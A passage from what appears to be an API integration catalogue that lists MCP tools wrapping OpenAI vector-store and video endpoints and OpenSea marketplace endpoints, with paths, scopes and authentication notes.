/api/v1/openai/vector_stores/{vector_store_id}. Scopes: write. openai_post_vector_stores_by_vector_store_id_file_batches (write) — Create a vector store file batch. The maximum number of files in a single batch request is 2000. Vector store file attach requests are rate limited per vector store (300 requests per minute across both this endpoint and `/vector_stores/{vector_store_id}/files`). For ingesting multiple files into the same vector store, this batch endpoint is recommended. via POST /vector_stores/{vector_store_id}/file_batches POST /api/v1/openai/vector_stores/{vector_store_id}/file_batches. Scopes: write. openai_post_vector_stores_by_vector_store_id_file_batches_by_batch_id_cancel (write) — Cancel a vector store file batch. This attempts to cancel the processing of files in this batch as soon as possible. via POST /vector_stores/{vector_store_id}/file_batches/{batch_id}/cancel POST /api/v1/openai/vector_stores/{vector_store_id}/file_batches/{batch_id}/cancel. Scopes: write. openai_post_vector_stores_by_vector_store_id_files (write) — Create a vector store file by attaching a [File](/docs/api-reference/files) to a [vector store](/docs/api-reference/vector-stores/object). This endpoint is subject to a per-vector-store write rate limit of 300 requests per minute, shared with `/vector_stores/{vector_store_id}/file_batches`. For uploading multiple files to the same vector store, use the file batches endpoint to reduce request volume. via POST /vector_stores/{vector_store_id}/files POST /api/v1/openai/vector_stores/{vector_store_id}/files. Scopes: write. openai_post_vector_stores_by_vector_store_id_files_by_file_id (write) — Update attributes on a vector store file. via POST /vector_stores/{vector_store_id}/files/{file_id} POST /api/v1/openai/vector_stores/{vector_store_id}/files/{file_id}. Scopes: write. openai_post_vector_stores_by_vector_store_id_search (write) — Search a vector store for relevant chunks based on a query and file attributes filter. via POST /vector_stores/{vector_store_id}/search POST /api/v1/openai/vector_stores/{vector_store_id}/search. Scopes: write. openai_post_videos (write) — Create a new video generation job from a prompt and optional reference assets. via POST /videos OpenAI marks this operation deprecated. POST /api/v1/openai/videos. Scopes: write. openai_post_videos_by_video_id_remix (write) — Create a remix of a completed video using a refreshed prompt. via POST /videos/{video_id}/remix OpenAI marks this operation deprecated. POST /api/v1/openai/videos/{video_id}/remix. Scopes: write. openai_post_videos_edits (write) — Create a new video generation job by editing a source video or existing generated video. via POST /videos/edits OpenAI marks this operation deprecated. POST /api/v1/openai/videos/edits. Scopes: write. openai_post_videos_extensions (write) — Create an extension of a completed video. via POST /videos/extensions OpenAI marks this operation deprecated. POST /api/v1/openai/videos/extensions. Scopes: write. ================================================================================ ## OpenSea URL: https://www.agenticfabriq.com/integrations/opensea Section: Integrated Tools OpenSea — 143 MCP tools Provider key: opensea. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. opensea_delete_api_v2_accounts_agent (write, destructive) — Withdraw the authenticated account's agent declaration Calls DELETE /api/v2/accounts/agent. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:wallets. This tool refuses with that reason rather than calling the provider. DELETE /api/v1/opensea/api/v2/accounts/agent. Scopes: api. opensea_delete_api_v2_accounts_agent_relationships (write, destructive) — Withdraw a proposal or revoke a confirmed agent relationship Either party may remove the relationship at any point. Addressed exactly as confirm is: `counterparty_account_id` or `counterparty_address`, one of the two, plus your own side. Calls DELETE /api/v2/accounts/agent-relationships. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:wallets. This tool refuses with that reason rather than calling the provider. DELETE /api/v1/opensea/api/v2/accounts/agent-relationships. Scopes: api. opensea_delete_api_v2_accounts_by_address_or_username_follow (write, destructive) — Unfollow a profile Calls DELETE /api/v2/accounts/{address_or_username}/follow. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:social. This tool refuses with that reason rather than calling the provider. DELETE /api/v1/opensea/api/v2/accounts/{address_or_username}/follow. Scopes: api. opensea_delete_api_v2_accounts_by_address_or_username_watch (write, destructive) — Stop watching a profile Calls DELETE /api/v2/accounts/{address_or_username}/watch. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:social. This tool refuses with that reason rather than calling the provider. DELETE /api/v1/opensea/api/v2/accounts/{address_or_username}/watch. Scopes: api. opensea_delete_api_v2_accounts_wallets_by_wallet (write, destructive) — Unlink a wallet from the authenticated account Unlink a wallet from the authenticated account using a scoped wallet token. Calls DELETE /api/v2/accounts/wallets/{wallet}. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:wallets. This tool refuses with that reason rather than calling the provider. DELETE /api/v1/opensea/api/v2/accounts/wallets/{wallet}. Scopes: api. opensea_delete_api_v2_accounts_wallets_by_wallet_private (write, destructive) — Make a registered wallet public Allows the wallet's public account linkage, including eligible agent ownership relationships. Calls DELETE /api/v2/accounts/wallets/{wallet}/private. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:wallets. This tool refuses with that reason rather than calling the provider. DELETE /api/v1/opensea/api/v2/accounts/wallets/{wallet}/private. Scopes: api. opensea_delete_api_v2_profile_nft_pfp (write, destructive) — Clear NFT profile picture Clear the authenticated wallet's NFT profile picture. This operation is idempotent: it returns 200 with `success=false` when no NFT profile picture was set, and `success=true` when one was cleared. Calls DELETE /api/v2/profile/nft-pfp. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:profile. This tool refuses with that reason rather than calling the provider. DELETE /api/v1/opensea/api/v2/profile/nft-pfp. Scopes: api. opensea_delete_api_v2_profile_shelves_by_shelf_id (write, destructive) — Delete a profile shelf Delete the authenticated wallet's shelf. Calls DELETE /api/v2/profile/shelves/{shelf_id}. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:profile. This tool refuses with that reason rather than calling the provider. DELETE /api/v1/opensea/api/v2/profile/shelves/{shelf_id}. Scopes: api. opensea_delete_api_v2_saved_tools (write, destructive) — [Beta] Remove a saved tool Idempotently remove a registered tool from the authenticated account's saved tools. Removed is false when the tool was already absent. Calls DELETE /api/v2/saved-tools. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:tools. This tool refuses with that reason rather than calling the provider. DELETE /api/v1/opensea/api/v2/saved-tools. Scopes: api. opensea_delete_api_v2_watchlist (write, destructive) — Remove a watchlist entry Remove an NFT, token, collection, or perpetual from the authenticated account's watchlist. Calls DELETE /api/v2/watchlist. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying write:favorites. This tool refuses with that reason rather than calling the provider. DELETE /api/v1/opensea/api/v2/watchlist. Scopes: api. opensea_get_api_v2_account_by_address_collections (read) — Get collections owned by an account Get a paginated list of collections owned by a wallet address, with ownership data. Calls GET /api/v2/account/{address}/collections. GET /api/v1/opensea/api/v2/account/{address}/collections. Scopes: api. opensea_get_api_v2_account_by_address_favorites (read) — Get items favorited by an account Get a paginated list of items favorited by a wallet address. Requires wallet identity authentication; the requested address must belong to the authenticated account. Calls GET /api/v2/account/{address}/favorites. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying read:favorites. This tool refuses with that reason rather than calling the provider. GET /api/v1/opensea/api/v2/account/{address}/favorites. Scopes: api. opensea_get_api_v2_account_by_address_listings (read) — Get active listings for an account Get a paginated list of active listings created by a wallet address. Calls GET /api/v2/account/{address}/listings. GET /api/v1/opensea/api/v2/account/{address}/listings. Scopes: api. opensea_get_api_v2_account_by_address_offers (read) — Get active offers made by an account Get a paginated list of active offers made by a wallet address. Calls GET /api/v2/account/{address}/offers. GET /api/v1/opensea/api/v2/account/{address}/offers. Scopes: api. opensea_get_api_v2_account_by_address_offers_received (read) — Get offers received by an account Get a paginated list of offers received on items owned by a wallet address. Calls GET /api/v2/account/{address}/offers_received. GET /api/v1/opensea/api/v2/account/{address}/offers_received. Scopes: api. opensea_get_api_v2_account_by_address_perpetual_watchlist (read) — Get perpetuals watched by an account Get the perpetual futures watched by the authenticated account. Requires wallet identity authentication; the requested address must belong to the authenticated account. Calls GET /api/v2/account/{address}/perpetual_watchlist. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying read:favorites. This tool refuses with that reason rather than calling the provider. GET /api/v1/opensea/api/v2/account/{address}/perpetual_watchlist. Scopes: api. opensea_get_api_v2_account_by_address_pnl (read) — Get trading P&L for an account Get aggregated realized and unrealized trading profit and loss across all currencies held by a wallet address. Returns 200 with figures (which may be zero for a real but flat wallet) when OpenSea has indexed P&L for the wallet, and 404 only when no P&L has been indexed for it — letting consumers distinguish "indexed but flat" from "not indexed". Calls GET /api/v2/account/{address}/pnl. GET /api/v1/opensea/api/v2/account/{address}/pnl. Scopes: api. opensea_get_api_v2_account_by_address_pnl_closed_positions (read) — Get closed (realized) trading positions for an account Get a paginated, per-trade breakdown of a wallet's realized P&L. Each closed position reflects FIFO (first-in, first-out) cost-basis lot matching. Calls GET /api/v2/account/{address}/pnl/closed-positions. GET /api/v1/opensea/api/v2/account/{address}/pnl/closed-positions. Scopes: api. opensea_get_api_v2_account_by_address_pnl_token_transfers (read) — Get token transfers for a wallet's position in a currency Get a paginated, transfer-level breakdown of a wallet's position in a single currency (identified by contract_address + chain). Combine `direction` and `transfer_type` to distinguish zero-cost acquisitions (airdrops, CEX transfers) from buys. Calls GET /api/v2/account/{address}/pnl/token-transfers. GET /api/v1/opensea/api/v2/account/{address}/pnl/token-transfers. Scopes: api. opensea_get_api_v2_account_by_address_portfolio (read) — Get portfolio stats for an account Get portfolio analytics including total value, NFT/token breakdown, and P&L for a wallet address over a given timeframe. Calls GET /api/v2/account/{address}/portfolio. GET /api/v1/opensea/api/v2/account/{address}/portfolio. Scopes: api. opensea_get_api_v2_account_by_address_portfolio_history (read) — Get portfolio net worth history for an account Get net worth time series data for a wallet address over a given timeframe. Calls GET /api/v2/account/{address}/portfolio/history. GET /api/v1/opensea/api/v2/account/{address}/portfolio/history. Scopes: api. opensea_get_api_v2_account_by_address_token_activity (read) — Get account token activity Get paginated fungible token activity (transfers, swaps, wraps, and unwraps) for an account across all chains. Optionally filter by chain, token, and/or activity type. Calls GET /api/v2/account/{address}/token-activity. GET /api/v1/opensea/api/v2/account/{address}/token-activity. Scopes: api. opensea_get_api_v2_account_by_address_token_watchlist (read) — Get tokens watched by an account Get the tokens watched by the authenticated account. Requires wallet identity authentication; the requested address must belong to the authenticated account. Calls GET /api/v2/account/{address}/token_watchlist. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying read:favorites. This tool refuses with that reason rather than calling the provider. GET /api/v1/opensea/api/v2/account/{address}/token_watchlist. Scopes: api. opensea_get_api_v2_account_by_address_tokens (read) — Get token balances by account Get fungible token balances for a specific wallet address. Returns quantity (in display units, not raw/wei), USD value, and token metadata for each token held. Calls GET /api/v2/account/{address}/tokens. GET /api/v1/opensea/api/v2/account/{address}/tokens. Scopes: api. opensea_get_api_v2_accounts_agent_relationships (read) — List the authenticated account's agent relationships Includes proposals still awaiting either party. Pending relationships appear here only; they are never shown on a public profile. Truncated to the 100 most recent confirmed relationships and the 50 most recent live proposals, bounded separately so unanswered proposals cannot displace confirmed relationships. No total is returned. Confirming or revoking names the counterparty's account id, which this listing is the source of. Calls GET /api/v2/accounts/agent-relationships. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying read:wallets. This tool refuses with that reason rather than calling the provider. GET /api/v1/opensea/api/v2/accounts/agent-relationships. Scopes: api. opensea_get_api_v2_accounts_by_address_or_username (read) — Get an OpenSea account profile Get an OpenSea Account Profile including details such as bio, social media usernames, and profile image. Calls GET /api/v2/accounts/{address_or_username}. GET /api/v1/opensea/api/v2/accounts/{address_or_username}. Scopes: api. opensea_get_api_v2_accounts_by_address_or_username_agent_relationships (read) — Get public agent ownership relationships for a profile Returns the account confirmed to own this one as its agent, and the accounts it is the confirmed owner of. Only relationships both accounts confirmed appear; a proposal one side has not accepted is visible to the two parties alone. Ownership is a declaration and not an authorization, and is self-reported rather than verified by OpenSea. Standard API-key quotas and an additional 30-per-hour per-profile limit apply. Calls GET /api/v2/accounts/{address_or_username}/agent-relationships. GET /api/v1/opensea/api/v2/accounts/{address_or_username}/agent-relationships. Scopes: api. opensea_get_api_v2_accounts_by_address_or_username_followers (read) — Get profile followers Calls GET /api/v2/accounts/{address_or_username}/followers. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying read:social. This tool refuses with that reason rather than calling the provider. GET /api/v1/opensea/api/v2/accounts/{address_or_username}/followers. Scopes: api. opensea_get_api_v2_accounts_by_address_or_username_following (read) — Get profiles followed Returns the profiles followed by an address or username profile, including followed wallets. Calls GET /api/v2/accounts/{address_or_username}/following. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying read:social. This tool refuses with that reason rather than calling the provider. GET /api/v1/opensea/api/v2/accounts/{address_or_username}/following. Scopes: api. opensea_get_api_v2_accounts_by_address_or_username_relationship (read) — Get the authenticated account's relationship with a profile Calls GET /api/v2/accounts/{address_or_username}/relationship. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying read:social. This tool refuses with that reason rather than calling the provider. GET /api/v1/opensea/api/v2/accounts/{address_or_username}/relationship. Scopes: api. opensea_get_api_v2_accounts_resolve_by_identifier (read) — Resolve an account identifier Resolve an ENS name (e.g. vitalik.eth), OpenSea username, or wallet address to canonical account info including address, username, and ENS name. The ENS path performs both forward resolution (name → address) and reverse lookup (address → canonical primary name). The address and ENS paths perform enrichment calls (username + ENS reverse lookup) in parallel. The username path only needs an ENS reverse lookup after the initial resolution and runs it sequentially. The ENS and username paths require an extra initial call and may be slower than the address path on cache misses. Calls GET /api/v2/accounts/resolve/{identifier}. GET /api/v1/opensea/api/v2/accounts/resolve/{identifier}. Scopes: api. opensea_get_api_v2_chain_by_chain_account_by_address_nfts (read) — Get NFTs by account Get all NFTs owned by a specific account on a blockchain, with optional collection filtering. Calls GET /api/v2/chain/{chain}/account/{address}/nfts. GET /api/v1/opensea/api/v2/chain/{chain}/account/{address}/nfts. Scopes: api. opensea_get_api_v2_chain_by_chain_contract_by_address (read) — Get contract Get contract metadata including collection information, contract standards, and ownership details. Calls GET /api/v2/chain/{chain}/contract/{address}. GET /api/v1/opensea/api/v2/chain/{chain}/contract/{address}. Scopes: api. opensea_get_api_v2_chain_by_chain_contract_by_address_nfts (read) — Get NFTs by contract Get all NFTs for a specific contract address on a blockchain. Calls GET /api/v2/chain/{chain}/contract/{address}/nfts. GET /api/v1/opensea/api/v2/chain/{chain}/contract/{address}/nfts. Scopes: api. opensea_get_api_v2_chain_by_chain_contract_by_address_nfts_by_identifier (read) — Get NFT Get metadata, traits, ownership information, and rarity for a single NFT. Calls GET /api/v2/chain/{chain}/contract/{address}/nfts/{identifier}. GET /api/v1/opensea/api/v2/chain/{chain}/contract/{address}/nfts/{identifier}. Scopes: api. opensea_get_api_v2_chain_by_chain_contract_by_address_nfts_by_identifier_analytics (read) — Get NFT analytics Get analytics data for a specific NFT including sales history and floor price history. Calls GET /api/v2/chain/{chain}/contract/{address}/nfts/{identifier}/analytics. GET /api/v1/opensea/api/v2/chain/{chain}/contract/{address}/nfts/{identifier}/analytics. Scopes: api. opensea_get_api_v2_chain_by_chain_contract_by_address_nfts_by_identifier_collection (read) — Get collection by NFT Get the collection that an NFT belongs to. This is useful for multi-contract collections like Art Blocks where the item ID disambiguates which collection the NFT belongs to. Calls GET /api/v2/chain/{chain}/contract/{address}/nfts/{identifier}/collection. GET /api/v1/opensea/api/v2/chain/{chain}/contract/{address}/nfts/{identifier}/collection. Scopes: api. opensea_get_api_v2_chain_by_chain_contract_by_address_nfts_by_identifier_owners (read) — Get NFT owners Get a paginated list of owners for a specific NFT. Particularly useful for ERC-1155 tokens which can have multiple owners. Calls GET /api/v2/chain/{chain}/contract/{address}/nfts/{identifier}/owners. GET /api/v1/opensea/api/v2/chain/{chain}/contract/{address}/nfts/{identifier}/owners. Scopes: api. opensea_get_api_v2_chain_by_chain_payment_token_by_address (read) — Get payment token Get a payment token by chain and contract address. Calls GET /api/v2/chain/{chain}/payment_token/{address}. GET /api/v1/opensea/api/v2/chain/{chain}/payment_token/{address}. Scopes: api. opensea_get_api_v2_chain_by_chain_token_by_address (read) — Get token details Get detailed information about a specific token by chain and contract address. Calls GET /api/v2/chain/{chain}/token/{address}. GET /api/v1/opensea/api/v2/chain/{chain}/token/{address}. Scopes: api. opensea_get_api_v2_chain_by_chain_token_by_address_activity (read) — Get token swap activity Get paginated swap activity for a specific token on a given chain. Calls GET /api/v2/chain/{chain}/token/{address}/activity. GET /api/v1/opensea/api/v2/chain/{chain}/token/{address}/activity. Scopes: api. opensea_get_api_v2_chain_by_chain_token_by_address_activity_stats (read) — Get token trading activity stats Get materialized trade count, USD volume, and average trade size for a token. Windows with no swaps are omitted; an omitted requested key means zero trades in that window. Each window ends at its own materialized snapshot; computed_at is the oldest snapshot among the returned windows and can precede request time because the response is cached. The 1h and 24h windows also carry unique_buyer_count and unique_seller_count, which are null when the counts are unavailable for that token; 5m and 4h never carry them. Calls GET /api/v2/chain/{chain}/token/{address}/activity/stats. GET /api/v1/opensea/api/v2/chain/{chain}/token/{address}/activity/stats. Scopes: api. opensea_get_api_v2_chain_by_chain_token_by_address_holders (read) — Get token holders Get paginated list of holders for a specific token, including quantity held and USD value. Calls GET /api/v2/chain/{chain}/token/{address}/holders. GET /api/v1/opensea/api/v2/chain/{chain}/token/{address}/holders. Scopes: api. opensea_get_api_v2_chain_by_chain_token_by_address_liquidity_pools (read) — Get token liquidity pools Get liquidity pools for a specific token. Calls GET /api/v2/chain/{chain}/token/{address}/liquidity-pools. GET /api/v1/opensea/api/v2/chain/{chain}/token/{address}/liquidity-pools. Scopes: api. opensea_get_api_v2_chain_by_chain_token_by_address_ohlcv (read) — Get token OHLCV candles Get OHLCV (Open, High, Low, Close, Volume) candlestick data for a specific token. Calls GET /api/v2/chain/{chain}/token/{address}/ohlcv. GET /api/v1/opensea/api/v2/chain/{chain}/token/{address}/ohlcv. Scopes: api. opensea_get_api_v2_chain_by_chain_token_by_address_price_history (read) — Get token price history Get historical price data for a specific token. Calls GET /api/v2/chain/{chain}/token/{address}/price_history. GET /api/v1/opensea/api/v2/chain/{chain}/token/{address}/price_history. Scopes: api. opensea_get_api_v2_chains (read) — Get supported chains Get all supported blockchain chains with metadata including name, native currency symbol, swap support, and block explorer information. Calls GET /api/v2/chains. GET /api/v1/opensea/api/v2/chains. Scopes: api. opensea_get_api_v2_collection_by_slug_nfts (read) — Get NFTs by collection Get NFTs in a specific collection. Optionally filter by traits using the 'traits' query parameter with a JSON array of trait filters. Multiple traits are AND-combined (items must match all specified traits). Example: ?traits=[{"traitType":"Background","value":"Red"},{"traitType":"Eyes","value":"Blue"}] Calls GET /api/v2/collection/{slug}/nfts. GET /api/v1/opensea/api/v2/collection/{slug}/nfts. Scopes: api. opensea_get_api_v2_collections (read) — Get multiple collections Get a list of collections with filters and sorting options. Calls GET /api/v2/collections. GET /api/v1/opensea/api/v2/collections. Scopes: api. opensea_get_api_v2_collections_by_slug (read) — Get a single collection Get a single collection including details such as fees, traits, and links. Calls GET /api/v2/collections/{slug}. GET /api/v1/opensea/api/v2/collections/{slug}. Scopes: api. opensea_get_api_v2_collections_by_slug_floor_prices (read) — Get collection floor price history Get time-series floor price data for a collection. Calls GET /api/v2/collections/{slug}/floor_prices. GET /api/v1/opensea/api/v2/collections/{slug}/floor_prices. Scopes: api. opensea_get_api_v2_collections_by_slug_holders (read) — Get collection holders Get a paginated list of holders for a collection. Calls GET /api/v2/collections/{slug}/holders. GET /api/v1/opensea/api/v2/collections/{slug}/holders. Scopes: api. opensea_get_api_v2_collections_by_slug_offer_aggregates (read) — Get collection offer aggregates Get aggregated offer buckets grouped by price level for a collection. Calls GET /api/v2/collections/{slug}/offer_aggregates. GET /api/v1/opensea/api/v2/collections/{slug}/offer_aggregates. Scopes: api. opensea_get_api_v2_collections_by_slug_stats (read) — Get collection stats Get statistics for a collection including volume, floor price, and trading metrics. Each currency-denominated figure carries its own symbol: volume is reported in the currency named by volume_symbol, and the floor in the currency named by floor_price_symbol. The two can differ, so read each number against its own symbol. Calls GET /api/v2/collections/{slug}/stats. GET /api/v1/opensea/api/v2/collections/{slug}/stats. Scopes: api. opensea_get_api_v2_collections_top (read) — Get top collections Get top NFT collections ranked by various stats (sorted descending). Unlike /trending, results are not filtered by verification status; spam-tagged collections are excluded via trust-safety enforcement states. Available sort options: one_day_volume, seven_days_volume, thirty_days_volume, floor_price, one_day_sales, seven_days_sales, thirty_days_sales, total_volume, total_sales. Calls GET /api/v2/collections/top. GET /api/v1/opensea/api/v2/collections/top. Scopes: api. opensea_get_api_v2_collections_trending (read) — Get trending collections Get a list of trending NFT collections sorted by sales activity over a specified timeframe. Trending is determined by sales volume and activity metrics. Available timeframes range from 1 minute to all time. For the one_day timeframe without a chain filter, collections are sorted by a composite trending score; all other timeframes sort by raw sales count. Results are filtered to verified, non-spam, non-NSFW collections with minimum volume thresholds. Calls GET /api/v2/collections/trending. GET /api/v1/opensea/api/v2/collections/trending. Scopes: api. opensea_get_api_v2_drops (read) — Get drops Get a list of NFT drops (mints) by type: featured, upcoming, or recently_minted. Results may be fewer than the requested limit due to post-fetch filtering. Calls GET /api/v2/drops. GET /api/v1/opensea/api/v2/drops. Scopes: api. opensea_get_api_v2_drops_by_slug (read) — Get drop by collection slug Get detailed drop information for a collection, including stages and supply. Calls GET /api/v2/drops/{slug}. GET /api/v1/opensea/api/v2/drops/{slug}. Scopes: api. opensea_get_api_v2_drops_by_slug_eligibility (read) — Get drop eligibility for the authenticated wallet Returns per-stage eligibility for the authenticated wallet, including pricing and mint limits. Calls GET /api/v2/drops/{slug}/eligibility. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying read:eligibility. This tool refuses with that reason rather than calling the provider. GET /api/v1/opensea/api/v2/drops/{slug}/eligibility. Scopes: api. opensea_get_api_v2_drops_deploy_by_chain_by_tx_hash_receipt (read) — Get deploy contract receipt Check the status of a contract deployment transaction. Returns the deployment status and, on success, the deployed contract address and linked collection slug. Calls GET /api/v2/drops/deploy/{chain}/{tx_hash}/receipt. GET /api/v1/opensea/api/v2/drops/deploy/{chain}/{tx_hash}/receipt. Scopes: api. opensea_get_api_v2_events (read) — Get events Get a list of events, with optional filtering by event type and time range. Calls GET /api/v2/events. GET /api/v1/opensea/api/v2/events. Scopes: api. opensea_get_api_v2_events_accounts_by_address (read) — Get events (by account) Get a list of events for an account. Calls GET /api/v2/events/accounts/{address}. GET /api/v1/opensea/api/v2/events/accounts/{address}. Scopes: api. opensea_get_api_v2_events_chain_by_chain_contract_by_address_nfts_by_identifier (read) — Get events (by NFT) Get a list of events for a specific NFT. Calls GET /api/v2/events/chain/{chain}/contract/{address}/nfts/{identifier}. GET /api/v1/opensea/api/v2/events/chain/{chain}/contract/{address}/nfts/{identifier}. Scopes: api. opensea_get_api_v2_events_collection_by_slug (read) — Get events (by collection) Get a list of events for a collection. Optionally filter by traits to only return events for items matching the specified trait criteria. Calls GET /api/v2/events/collection/{slug}. GET /api/v1/opensea/api/v2/events/collection/{slug}. Scopes: api. opensea_get_api_v2_listings_collection_by_slug_all (read) — Get all listings by collection Get all listings for a collection. Calls GET /api/v2/listings/collection/{slug}/all. GET /api/v1/opensea/api/v2/listings/collection/{slug}/all. Scopes: api. opensea_get_api_v2_listings_collection_by_slug_best (read) — Get best listings by collection Get the best listings for a collection sorted by price ascending. Optionally filter by item traits using the 'traits' query parameter with a JSON array of trait filters. Multiple traits are AND-combined (items must match all). Note: results are not deduplicated by token ID — if a token has multiple listings, each listing is returned individually. Filter client-side if you need unique tokens. Example: ?traits=[{"traitType":"Background","value":"Red"}] Calls GET /api/v2/listings/collection/{slug}/best. GET /api/v1/opensea/api/v2/listings/collection/{slug}/best. Scopes: api. opensea_get_api_v2_listings_collection_by_slug_nfts_by_identifier_best (read) — Get best listing by NFT Get the best listing for an NFT. Calls GET /api/v2/listings/collection/{slug}/nfts/{identifier}/best. GET /api/v1/opensea/api/v2/listings/collection/{slug}/nfts/{identifier}/best. Scopes: api. opensea_get_api_v2_metadata_by_chain_by_contractaddress_by_tokenid (read) — Get NFT metadata Get detailed metadata for an NFT including name, description, image, traits, and external links. Calls GET /api/v2/metadata/{chain}/{contractAddress}/{tokenId}. GET /api/v1/opensea/api/v2/metadata/{chain}/{contractAddress}/{tokenId}. Scopes: api. opensea_get_api_v2_offers_collection_by_slug (read) — Get offers by collection Get collection offers on a collection. Calls GET /api/v2/offers/collection/{slug}. GET /api/v1/opensea/api/v2/offers/collection/{slug}. Scopes: api. opensea_get_api_v2_offers_collection_by_slug_all (read) — Get all offers by collection Get all offers for a collection. Calls GET /api/v2/offers/collection/{slug}/all. GET /api/v1/opensea/api/v2/offers/collection/{slug}/all. Scopes: api. opensea_get_api_v2_offers_collection_by_slug_nfts_by_identifier (read) — Get offers by NFT Get offers for an NFT. Calls GET /api/v2/offers/collection/{slug}/nfts/{identifier}. GET /api/v1/opensea/api/v2/offers/collection/{slug}/nfts/{identifier}. Scopes: api. opensea_get_api_v2_offers_collection_by_slug_nfts_by_identifier_best (read) — Get best offer by NFT Get the best offer for an NFT. Calls GET /api/v2/offers/collection/{slug}/nfts/{identifier}/best. GET /api/v1/opensea/api/v2/offers/collection/{slug}/nfts/{identifier}/best. Scopes: api. opensea_get_api_v2_offers_collection_by_slug_traits (read) — Get trait offers for a collection Get trait offers for a collection. Use the `mode` parameter to select the bid category. **Single string trait:** `?mode=STRING&type=Background&value=Red` **Multiple string traits:** `?mode=MULTI&traits=[{"traitType":"Background","value":"Red"},{"traitType":"Eyes","value":"Blue"}]` **Numeric trait range:** `?mode=NUMERIC&type=Level&min_value=1&max_value=10` Omit filter params to discover all bids of that mode (e.g. `?mode=NUMERIC` returns all numeric bids). If `mode` is omitted, the mode is inferred from the params for backward compatibility. Calls GET /api/v2/offers/collection/{slug}/traits. GET /api/v1/opensea/api/v2/offers/collection/{slug}/traits. Scopes: api. opensea_get_api_v2_orders_chain_by_chain_protocol_by_protocol_address_by_order_hash (read) — Get an order Get a single order by its order hash. Calls GET /api/v2/orders/chain/{chain}/protocol/{protocol_address}/{order_hash}. GET /api/v1/opensea/api/v2/orders/chain/{chain}/protocol/{protocol_address}/{order_hash}. Scopes: api. opensea_get_api_v2_profile_shelves (read) — Get profile shelves Get the shelves for a public wallet address. Calls GET /api/v2/profile/shelves. GET /api/v1/opensea/api/v2/profile/shelves. Scopes: api. opensea_get_api_v2_saved_tools (read) — [Beta] List saved tools List tools saved by the authenticated account. Calls GET /api/v2/saved-tools. NOT AVAILABLE on an API-key connection: OpenSea also requires a wallet JWT carrying read:tools. This tool refuses with that reason rather than calling the provider. GET /api/v1/opensea/api/v2/saved-tools. Scopes: api. opensea_get_api_v2_search (read) — Search across OpenSea Search across collections, tokens, NFTs, and accounts. Results are ranked by relevance. Calls GET /api/v2/search. GET /api/v1/opensea/api/v2/search. Scopes: api. opensea_get_api_v2_swap_quote (read) — Get swap quote Get a quote for swapping tokens, including price details and executable transaction data. Calls GET /api/v2/swap/quote. GET /api/v1/opensea/api/v2/swap/quote. Scopes: api. opensea_get_api_v2_token_groups (read) — Get token groups Get a paginated list of token groups sorted by market cap descending. Token groups represent equivalent currencies across different blockchains (e.g., ETH on Ethereum, Base, and Arbitrum are all in the "eth" token group). Calls GET /api/v2/token-groups. GET /api/v1/opensea/api/v2/token-groups. Scopes: api. opensea_get_api_v2_token_groups_by_slug (read) — Get a token group by slug Get detailed information about a specific token group by its slug identifier. Calls GET /api/v2/token-groups/{slug}. GET /api/v1/opensea/api/v2/token-groups/{slug}. Scopes: api. opensea_get_api_v2_tokens_top (read) — Get top tokens Get top tokens ranked by 24-hour trading volume. Returns established tokens with high market activity. Pass `sort_by` and `sort_direction` to order the same set of tokens differently. Calls GET /api/v2/tokens/top. GET /api/v1/opensea/api/v2/tokens/top. Scopes: api. opensea_get_api_v2_tokens_trending (read) — Get trending tokens Get trending tokens based on OpenSea's trending score algorithm. Returns tokens with high momentum including memecoins and newly popular assets. Pass `sort_by` and `sort_direction` to order the same set of tokens differently. Calls GET /api/v2/tokens/trending. GET /api/v1/opensea/api/v2/tokens/trending. Scopes: api. opensea_get_api_v2_tools (read) — [Beta] List registered tools [Beta] List verified registered tools with optional sorting and filtering. This endpoint is under active development and may change without notice. Calls GET /api/v2/tools. GET /api/v1/opensea/api/v2/tools. Scopes: api. opensea_get_api_v2_tools_by_registry_chain_by_registry_addr_by_tool_id (read) — [Beta] Get a registered tool [Beta] Get a registered tool by its composite key: registry chain, registry address, and tool ID. Includes pricing recipients and NFT collection info for gated tools. This endpoint is under active development and may change without notice. Calls GET /api/v2/tools/{registry_chain}/{registry_addr}/{tool_id}. GET /api/v1/opensea/api/v2/tools/{registry_chain}/{registry_addr}/{tool_id}. Scopes: api. opensea_get_api_v2_tools_by_registry_chain_by_registry_addr_by_tool_id_activity (read) — [Beta] Get activity for a registered tool [Beta] Returns merged x402 payment events and usage reports for a tool, deduplicated by transaction hash. Each event includes an attribution field indicating confidence level. This endpoint is under active development and may change without notice. Calls GET /api/v2/tools/{registry_chain}/{registry_addr}/{tool_id}/activity. GET /api/v1/opensea/api/v2/tools/{registry_chain}/{registry_addr}/{tool_id}/activity. Scopes: api. opensea_get_api_v2_tools_search (read) — [Beta] Search registered tools [Beta] Search for verified registered tools by name, tags, creator, or other criteria. This endpoint is under active development and may change without notice. Calls GET /api/v2/tools/search. GET /api/v1/opensea/api/v2/tools/search. Scopes: api. opensea_get_api_v2_traits_by_slug (read) — Get 